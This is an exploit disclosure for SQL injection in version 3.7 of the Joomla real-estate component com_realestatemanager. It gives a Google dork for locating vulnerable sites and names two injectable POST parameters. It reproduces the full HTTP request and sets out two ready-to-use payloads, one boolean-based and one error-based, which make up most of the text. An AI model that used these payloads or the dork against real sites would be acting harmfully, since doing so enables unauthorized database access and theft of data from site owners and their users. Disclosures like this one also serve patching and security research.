Joomla! Component com_realestatemanager 3.7 - SQL Injection

# Description of component:
This Joomla component is perfect for independent estate agents, property
rental companies and agencies, hotel booking, hotel manage, motel booking,
motel manage.

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# Exploit Title: [Joomla component com_realestatemanager - SQL injection]
# Google Dork: [inurl:option=com_realestatemanager]
# Date: [2015-10-10]
# Exploit Author: [Omer Ramić]
# Vendor Homepage: [http://ordasoft.com/]
# Software Link: [http://ordasoft.com/Real-Estate-Manager-Software-Joomla.html]
# Version: [3.7] & probably all prior
#Tested on: Linux/Windows/PHP 5.5.28/Apache 2.4.16
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#Multiple vulnerable parameters (POC given only for the first parametar):
Parameter_1: order_direction (POST)
Parameter_2: order_field (POST)


#The vulnerable parameters 1 & 2 are within the following request:
POST
/index.php?option=com_realestatemanager&task=showCategory&catid=50&Itemid=132
HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://
[HOST]/index.php?option=com_realestatemanager&task=showCategory&catid=50&Itemid=132
Cookie: security_level=0;
9d929655f6556b9fb49bf0e118bafb11=tp72u418eemk6jdvvnctoamna0; countrytabs=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

order_direction=asc&order_field=price



#Vectors:
POC_1: order_direction=asc,(SELECT (CASE WHEN (7918=7918) THEN 1 ELSE
7918*(SELECT 7918 FROM INFORMATION_SCHEMA.CHARACTER_SETS)
END))&order_field=price

POC_2: order_direction=asc,(SELECT 1841 FROM(SELECT
COUNT(*),CONCAT(0x716b787671,(SELECT
(ELT(1841=1841,1))),0x716b786b71,FLOOR(RAND(0)*2))x FROM

INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_field=price


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# Greets to Palestine from Bosnia          #
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